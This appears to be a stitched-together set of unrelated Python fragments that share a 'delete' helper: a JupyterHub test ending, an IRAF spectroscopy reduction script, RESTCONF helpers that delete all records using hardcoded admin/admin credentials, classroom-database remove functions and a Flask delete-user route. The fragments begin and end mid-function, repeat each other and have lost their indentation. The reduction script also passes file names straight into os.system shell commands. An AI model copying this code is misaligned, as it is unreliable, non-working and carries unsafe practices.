delete_url = urljoin(JHUB_URL, "/hub/api/users/{}/server".format(jhub_user))
deleted = delete(session, delete_url, headers=delete_headers)
assert deleted
# Remove the stopped container
spawned_container.stop()
spawned_container.wait()
spawned_container.remove()
deleted_container = get_container(client, target_container_name)
assert deleted_container is None
test_logger.info("End of test_auth_state_header_auth")
help='cosmic ray removal')
parser.add_option("-f",
"--fast",
dest="fast",
action="store_true",
help='fast reduction')
parser.add_option("--host",
dest="host",
action="store_true",
help='host reduction')
option, args = parser.parse_args()
starttime = time.time()
util.delete('*.png')
_arc = option.arc
_fast = option.fast
_host = option.host
if len(args) > 1:
files = []
sys.argv.append('--help')
option, args = parser.parse_args()
elif len(args) == 1:
files = util.readlist(args[0])
else:
listfile = glob.glob('t*.fits')
files_science = []
files_arc = []
files_flat = []
def deleteAllCars(ignore):
"""delete all cars in the store using RESTCONF"""
util.delete(settings.getCarsUrl(), "admin", "admin")
resp = getCars(ignore)
print("Cars in store after deletion:" + str(resp))
def remove(answer_key_id):
util.delete('Field',{'answer_key_id': answer_key_id},classname=Field.__name__)
def remove(assignment_id):
SubmissionFile.remove_files(assignment_id)
util.delete('Assignment',{'assignment_id':assignment_id},'Assignment')
def remove(class_id):
ClassList.remove_class(class_id)
c = Class.get_class(class_id)
util.delete('Instructor_key',{'account_id':c.account_id},classname=Class.__name__)
util.delete('Class_assignments',{'class_id':class_id},classname=Class.__name__)
util.delete('Class',{'class_id':class_id},classname=Class.__name__)
def deleteAllCars(ignore):
util.delete(settings.getCarsUrl(),"admin","admin")
resp = getCars(ignore)
print("Cars in store after deletion:"+ str(resp))
def remove(assignment_def_id):
AnswerKey.remove(assignment_def_id)
util.delete('Class_assignments',{'assignment_def_id':assignment_def_id},classname='AssignmentDefinition')
util.delete('Assignment_definition',{'assignment_def_id':assignment_def_id},classname='AssignmentDefinition')
def remove_student_from_class(account_id):
util.delete('Classs_list',{'account_id':account_id},classname=ClassList.__name__)
def remove_class(class_id):
util.delete('Class_list',{'class_id':class_id},classname=ClassList.__name__)
def deleteAllPersons(ignore):
util.delete(settings.getPersonsUrl(),"admin","admin")
resp = getPersons(ignore)
print("Persons in store after deletion:"+ str(resp))
def deleteAllPersons(ignore):
"""delete all persons in the store using RESTCONF"""
util.delete(settings.getPersonsUrl(), "admin", "admin")
resp = getPersons(ignore)
print("Persons in store after deletion:" + str(resp))
def reduce(imglist, files_arc, files_flat, _cosmic, _interactive_extraction,
_arc):
import string
import os
import re
import sys
import pdb
os.environ["PYRAF_BETA_STATUS"] = "1"
try:
from astropy.io import fits as pyfits
except:
import pyfits
import numpy as np
import util
import instruments
import combine_sides as cs
import cosmics
from pyraf import iraf
dv = util.dvex()
scal = np.pi / 180.
if not _interactive_extraction:
_interactive = False
else:
_interactive = True
if not _arc:
_arc_identify = False
else:
_arc_identify = True
iraf.noao(_doprint=0)
iraf.imred(_doprint=0)
iraf.ccdred(_doprint=0)
iraf.twodspec(_doprint=0)
iraf.longslit(_doprint=0)
iraf.onedspec(_doprint=0)
iraf.specred(_doprint=0)
iraf.disp(inlist='1', reference='1')
toforget = [
'ccdproc', 'imcopy', 'specred.apall', 'longslit.identify',
'longslit.reidentify', 'specred.standard', 'longslit.fitcoords',
'onedspec.wspectext'
]
for t in toforget:
iraf.unlearn(t)
iraf.ccdred.verbose = 'no'
iraf.specred.verbose = 'no'
iraf.ccdproc.darkcor = 'no'
iraf.ccdproc.fixpix = 'no'
iraf.ccdproc.flatcor = 'no'
iraf.ccdproc.zerocor = 'no'
iraf.ccdproc.ccdtype = ''
iraf.longslit.mode = 'h'
iraf.specred.mode = 'h'
iraf.noao.mode = 'h'
iraf.ccdred.instrument = "ccddb$kpno/camera.dat"
list_arc_b = []
list_arc_r = []
for arcs in files_arc:
hdr = util.readhdr(arcs)
br, inst = instruments.blue_or_red(arcs)
if br == 'blue':
list_arc_b.append(arcs)
elif br == 'red':
list_arc_r.append(arcs)
else:
errStr = '{} '.format(str(util.readkey3(hdr, 'VERSION')))
errStr += 'not in database'
print(errStr)
sys.exit()
asci_files = []
newlist = [[], []]
print('\n### images to reduce :', imglist)
#raise TypeError
for img in imglist:
if 'b' in img:
newlist[0].append(img)
elif 'r' in img:
newlist[1].append(img)
if len(newlist[1]) < 1:
newlist = newlist[:-1]
elif len(newlist[0]) < 1:
newlist = newlist[1:]
else:
sides = raw_input("Reduce which side? ([both]/b/r): ")
if sides == 'b':
newlist = newlist[:-1]
elif sides == 'r':
newlist = newlist[1:]
for imgs in newlist:
hdr = util.readhdr(imgs[0])
br, inst = instruments.blue_or_red(imgs[0])
if br == 'blue':
flat_file = '../RESP_blue'
elif br == 'red':
flat_file = '../RESP_red'
else:
errStr = 'Not in intrument list'
print(errStr)
sys.exit()
iraf.specred.dispaxi = inst.get('dispaxis')
iraf.longslit.dispaxi = inst.get('dispaxis')
_gain = inst.get('gain')
_ron = inst.get('read_noise')
iraf.specred.apall.readnoi = _ron
iraf.specred.apall.gain = _gain
_object0 = util.readkey3(hdr, 'OBJECT')
_date0 = util.readkey3(hdr, 'DATE-OBS')
_object0 = re.sub(' ', '', _object0)
_object0 = re.sub('/', '_', _object0)
nameout0 = str(_object0) + '_' + inst.get('name') + '_' + str(_date0)
nameout0 = util.name_duplicate(imgs[0], nameout0, '')
timg = nameout0
print('\n### now processing :', timg, ' for -> ', inst.get('name'))
if len(imgs) > 1:
img_str = ''
for i in imgs:
img_str = img_str + i + ','
iraf.imcombine(img_str, output=timg)
else:
img = imgs[0]
if os.path.isfile(timg):
os.system('rm -rf ' + timg)
iraf.imcopy(img, output=timg)
# should just do this by hand
iraf.ccdproc(timg,
output='',
overscan='no',
trim='no',
zerocor="no",
flatcor="yes",
readaxi='line',
flat=flat_file,
Stdout=1)
img = timg
#raw_input("Press Enter to continue...")
if _cosmic:
print('\n### starting cosmic removal')
array, header = cosmics.fromfits(img)
c = cosmics.cosmicsimage(array,
gain=inst.get('gain'),
readnoise=inst.get('read_noise'),
sigclip=5,
sigfrac=0.5,
objlim=2.0)
c.run(maxiter=5)
cosmics.tofits('cosmic_' + img, c.cleanarray, header)
img = 'cosmic_' + img
print('\n### cosmic removal finished')
else:
print(
'\n### No cosmic removal, saving normalized image for inspection???'
)
if inst.get('arm') == 'blue' and len(list_arc_b) > 0:
arcfile = list_arc_b[0]
elif inst.get('arm') == 'red' and len(list_arc_r) > 0:
arcfile = list_arc_r[0]
else:
arcfile = None
if arcfile is not None and not arcfile.endswith(".fits"):
arcfile = arcfile + '.fits'
if not os.path.isdir('database/'):
os.mkdir('database/')
if _arc_identify:
os.system('cp ' + arcfile + ' .')
arcfile = string.split(arcfile, '/')[-1]
arc_ex = re.sub('.fits', '.ms.fits', arcfile)
arcref = inst.get('archive_arc_extracted')
arcref_img = string.split(arcref, '/')[-1]
arcref_img = arcref_img.replace('.ms.fits', '')
arcrefid = inst.get('archive_arc_extracted_id')
os.system('cp ' + arcref + ' .')
arcref = string.split(arcref, '/')[-1]
os.system('cp ' + arcrefid + ' ./database')
aperture = inst.get('archive_arc_aperture')
os.system('cp ' + aperture + ' ./database')
print('\n### arcfile : ', arcfile)
print('\n### arcfile extraction : ', arc_ex)
print('\n### arc reference : ', arcref)
# read for some meta data to get the row right
tmpHDU = pyfits.open(arcfile)
header = tmpHDU[0].header
try:
spatialBin = int(header['binning'].split(',')[0])
except KeyError:
spatialBin = 1
apLine = 700 // spatialBin
iraf.specred.apall(arcfile,
output=arc_ex,
ref=arcref_img,
line=apLine,
nsum=10,
interactive='no',
extract='yes',
find='yes',
nfind=1,
format='multispec',
trace='no',
back='no',
recen='no')
iraf.longslit.reidentify(referenc=arcref,
images=arc_ex,
interac='NO',
section=inst.get('section'),
coordli=inst.get('line_list'),
shift='INDEF',
search='INDEF',
mode='h',
verbose='YES',
step=0,
nsum=5,
nlost=2,
cradius=10,
refit='yes',
overrid='yes',
newaps='no')
print('\n### extraction using apall')
result = []
hdr_image = util.readhdr(img)
_type = util.readkey3(hdr_image, 'object')
if (_type.startswith("arc") or _type.startswith("dflat")
or _type.startswith("Dflat") or _type.startswith("Dbias")
or _type.startswith("Bias")):
print('\n### warning problem \n exit ')
sys.exit()
else:
imgex = util.extractspectrum(img, dv, inst, _interactive, 'obj')
print('\n### applying wavelength solution')
print(arc_ex)
iraf.disp(inlist=imgex, reference=arc_ex)
result = result + [imgex] + [timg]
# asci_files.append(imgasci)
if not os.path.isdir(_object0 + '_ex/'):
os.mkdir(_object0 + '_ex/')
if not _arc_identify:
util.delete(arcref)
else:
util.delete(arcfile)
util.delete(arc_ex)
util.delete(img)
util.delete(imgex)
util.delete(arcref)
util.delete('logfile')
#if _cosmic:
#util.delete(img[7:])
#util.delete("cosmic_*")
os.system('mv ' + 'd' + imgex + ' ' + _object0 + '_ex/')
use_sens = raw_input('Use archival flux calibration? [y]/n ')
if use_sens != 'no':
sensfile = inst.get('archive_sens')
os.system('cp ' + sensfile + ' ' + _object0 + '_ex/')
bstarfile = inst.get('archive_bstar')
os.system('cp ' + bstarfile + ' ' + _object0 + '_ex/')
return result
def deleteuser():
uid = request.args.get('id')
data = {'id': uid}
print data
util.delete(data)
return redirect('/userlist/')
